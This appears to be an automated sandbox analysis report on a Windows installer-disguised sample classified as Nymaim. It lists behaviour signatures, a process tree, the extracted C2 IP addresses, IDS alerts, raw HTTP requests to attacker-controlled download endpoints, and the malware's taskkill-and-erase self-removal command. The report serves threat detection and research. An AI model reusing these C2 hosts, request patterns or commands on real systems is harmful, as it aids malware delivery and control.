Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	780214
MD5:	bc7001afd99293bf22adcdf0d30c564a
SHA1:	b6f97de078d7a18837811c9773d9cd817eeacaed
SHA256:	dcb609a85203e7b8da330ad8f658a9b03a5d65170d02995fa6bf4d6e39c33b2a
Tags:	exe
Infos:

Detection

Nymaim

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (overwrites its own PE header)

Yara detected Nymaim

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Obfuscated command line found

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Contains functionality to read the PEB

Found evasive API chain checking for process token information

Contains functionality to launch a program with higher privileges

Uses taskkill to terminate processes

Dropped file seen in connection with other malware

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality to detect sandboxes (foreground window change detection)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

file.exe (PID: 5860 cmdline: C:\Users\user\Desktop\file.exe MD5: BC7001AFD99293BF22ADCDF0D30C564A)

file.tmp (PID: 5864 cmdline: "C:\Users\user~1\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp" /SL5="$702C6,1650404,162304,C:\Users\user\Desktop\file.exe" MD5: 7013A53C5472267941844ED17DE4DE3C)

HitFiles134.exe (PID: 1008 cmdline: "C:\Program Files (x86)\Split Files\HitFiles134.exe" MD5: FB4704E7F6C63CAEB0D39F48B0792636)

3JCCsnPwg.exe (PID: 5144 cmdline: MD5: 3FB36CB0B7172E5298D2992D42984D06)

cmd.exe (PID: 2380 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /im "HitFiles134.exe" /f & erase "C:\Program Files (x86)\Split Files\HitFiles134.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 5188 cmdline: taskkill /im "HitFiles134.exe" /f MD5: 15E2E0ACD891510C6268CB8899F2A1A1)

cleanup

Malware Configuration

Threatname: Nymaim

{"C2 addresses": ["45.139.105.1", "85.31.46.167", "107.182.129.235", "171.22.30.106"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.332146458.0000000003330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000002.00000002.330440301.0000000000400000.00000040.00000001.01000000.00000006.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000002.00000002.332003406.00000000032D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security

Unpacked PEs

Source	Rule	Description	Author
2.2.HitFiles134.exe.32d0000.3.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
2.2.HitFiles134.exe.400000.1.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
2.2.HitFiles134.exe.32d0000.3.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
2.2.HitFiles134.exe.400000.1.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security

Snort Signatures

ETPRO TROJAN Win32/Fabookie.ek CnC Request M1 (GET) - Source IP: 192.168.2.7 - Destination IP: 107.182.129.235

Timestamp:	192.168.2.7107.182.129.23549713802852980 01/08/23-16:11:53.367556
SID:	2852980
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Fabookie.ek CnC Request M3 (GET) - Source IP: 192.168.2.7 - Destination IP: 107.182.129.235

Timestamp:	192.168.2.7107.182.129.23549713802852981 01/08/23-16:11:53.444812
SID:	2852981
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN GCleaner Downloader Activity M8 - Source IP: 192.168.2.7 - Destination IP: 45.139.105.171

Timestamp:	192.168.2.745.139.105.17149712802041920 01/08/23-16:11:53.219578
SID:	2041920
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN GCleaner Downloader - Payload Response - Source IP: 107.182.129.235 - Destination IP: 192.168.2.7

Timestamp:	107.182.129.235192.168.2.780497132852925 01/08/23-16:11:53.472106
SID:	2852925
Source Port:	80
Destination Port:	49713
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://171.22.30.106/library.php	URL Reputation: Label: malware
Source: http://171.22.30.106/library.php4	Avira URL Cloud: Label: malware
Source: http://171.22.30.106/library.php.	Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\3JCCsnPwg.exe

ReversingLabs: Detection: 60%

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Joe Sandbox ML: detected

Source: 0.3.file.exe.24e15a0.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.0.file.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 1.0.file.tmp.4cc934.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.file.exe.23f54dc.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.file.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 2.2.HitFiles134.exe.10000000.5.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 1.2.file.tmp.4cc934.1.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: 2.2.HitFiles134.exe.400000.1.unpack

Malware Configuration Extractor: Nymaim {"C2 addresses": ["45.139.105.1", "85.31.46.167", "107.182.129.235", "171.22.30.106"]}

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0045C298 GetProcAddress,GetProcAddress,GetProcAddress,ISCryptGetVersion,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0045C34C ArcFourCrypt,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0045C364 ArcFourCrypt,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00403770 CryptAcquireContextW,CryptCreateHash,_mbstowcs,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,___std_exception_copy,

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Unpacked PE file: 2.2.HitFiles134.exe.400000.1.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004738D8 FindFirstFileA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00451D34 FindFirstFileA,GetLastError,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004960EC FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00462DD8 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00463254 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0046184C FindFirstFileA,FindNextFileA,FindClose,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00404490 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00423E2D FindFirstFileExW,
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_1000959D FindFirstFileExW,

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\is-OVJ5O.tmp\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\Temp\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\Local\
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user~1\AppData\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2041920 ET TROJAN GCleaner Downloader Activity M8 192.168.2.7:49712 -> 45.139.105.171:80
Source: Traffic	Snort IDS: 2852980 ETPRO TROJAN Win32/Fabookie.ek CnC Request M1 (GET) 192.168.2.7:49713 -> 107.182.129.235:80
Source: Traffic	Snort IDS: 2852981 ETPRO TROJAN Win32/Fabookie.ek CnC Request M3 (GET) 192.168.2.7:49713 -> 107.182.129.235:80
Source: Traffic	Snort IDS: 2852925 ETPRO TROJAN GCleaner Downloader - Payload Response 107.182.129.235:80 -> 192.168.2.7:49713

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 45.139.105.1
Source: Malware configuration extractor	IPs: 85.31.46.167
Source: Malware configuration extractor	IPs: 107.182.129.235
Source: Malware configuration extractor	IPs: 171.22.30.106

Source: Joe Sandbox View

ASN Name: CMCSUS CMCSUS

Source: Joe Sandbox View

IP Address: 45.139.105.171 45.139.105.171

Source: unknown	TCP traffic detected without corresponding DNS query: 45.139.105.171
Source: unknown	TCP traffic detected without corresponding DNS query: 45.139.105.171
Source: unknown	TCP traffic detected without corresponding DNS query: 45.139.105.171
Source: unknown	TCP traffic detected without corresponding DNS query: 45.139.105.171
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 107.182.129.235

Source: HitFiles134.exe, 00000002.00000002.331582151.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.182.129.235/storage/extension.php
Source: HitFiles134.exe, 00000002.00000002.331582151.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.182.129.235/storage/ping.php
Source: HitFiles134.exe, 00000002.00000002.331582151.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://171.22.30.106/library.php.
Source: HitFiles134.exe, 00000002.00000002.331582151.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://171.22.30.106/library.php4
Source: HitFiles134.exe, 00000002.00000002.331582151.00000000017BC000.00000004.00000020.00020000.00000000.sdmp, HitFiles134.exe, 00000002.00000002.331816078.00000000017F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.139.105.171/itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte
Source: file.tmp, 00000001.00000002.333569114.000000000018F000.00000004.00000010.00020000.00000000.sdmp, file.tmp, 00000001.00000002.334374587.0000000004620000.00000004.00001000.00020000.00000000.sdmp, is-ULQSL.tmp.1.dr, is-P2AUO.tmp.1.dr	String found in binary or memory: http://rus.altarsoft.com/split_files.shtml
Source: file.tmp, 00000001.00000002.333569114.000000000018F000.00000004.00000010.00020000.00000000.sdmp, file.tmp, 00000001.00000002.334374587.0000000004620000.00000004.00001000.00020000.00000000.sdmp, is-7S1TU.tmp.1.dr, is-A3R8N.tmp.1.dr, is-UUBG5.tmp.1.dr, is-NN8RP.tmp.1.dr, is-7O8CS.tmp.1.dr, is-QV8JO.tmp.1.dr, is-JOJ80.tmp.1.dr, is-L1N1D.tmp.1.dr, is-BVH9M.tmp.1.dr, is-3NI9T.tmp.1.dr	String found in binary or memory: http://www.altarsoft.com/split_files.shtml
Source: file.tmp, file.tmp, 00000001.00000002.333746784.0000000000401000.00000020.00000001.01000000.00000004.sdmp, file.tmp.0.dr, is-S7F6P.tmp.1.dr	String found in binary or memory: http://www.innosetup.com/
Source: file.exe, 00000000.00000003.248037528.0000000002420000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.248226312.0000000002338000.00000004.00001000.00020000.00000000.sdmp, file.tmp, file.tmp, 00000001.00000002.333746784.0000000000401000.00000020.00000001.01000000.00000004.sdmp, file.tmp.0.dr, is-S7F6P.tmp.1.dr	String found in binary or memory: http://www.remobjects.com/ps
Source: file.exe, 00000000.00000003.248037528.0000000002420000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.248226312.0000000002338000.00000004.00001000.00020000.00000000.sdmp, file.tmp, 00000001.00000002.333746784.0000000000401000.00000020.00000001.01000000.00000004.sdmp, file.tmp.0.dr, is-S7F6P.tmp.1.dr	String found in binary or memory: http://www.remobjects.com/psU

Source: C:\Program Files (x86)\Split Files\HitFiles134.exe

Code function: 2_2_00401B30 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,

Source: global traffic	HTTP traffic detected: GET /itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 45.139.105.171Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /storage/ping.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 0Host: 107.182.129.235Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /storage/extension.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 107.182.129.235Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /library.php HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 2Host: 171.22.30.106Connection: Keep-AliveCache-Control: no-cache

Source: file.tmp, 00000001.00000002.333991099.000000000079A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud

Yara detected Nymaim

Source: Yara match	File source: 2.2.HitFiles134.exe.32d0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.HitFiles134.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.HitFiles134.exe.32d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.HitFiles134.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.332146458.0000000003330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.330440301.0000000000400000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.332003406.00000000032D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004093A8 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0045476C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040836C
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00466480
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0047E9B0
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0046F05C
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0043D2FC
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0044401C
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0045E1DC
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_0045A284
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004684F8
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00444714
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00434874
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_004849D0
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00430AB4
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00444B20
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00450C90
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00485904
Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: 1_2_00443A74
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00404490
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_004096F0
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_004056A0
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00406800
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00406AA0
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00404D40
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00405F40
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00402F20
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_004150D3
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00415305
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_004223A9
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00419510
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00404840
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00426850
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00410A50
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_0042AB9A
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00421C88
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_0042ACBA
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00447D2D
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00428D39
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_00404F20
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_1000F670
Source: C:\Program Files (x86)\Split Files\HitFiles134.exe	Code function: 2_2_1000EC61

Source: C:\Users\user\AppData\Local\Temp\is-OVJ5O.tmp\file.tmp	Code function: String function: 00405964 appears 99 times
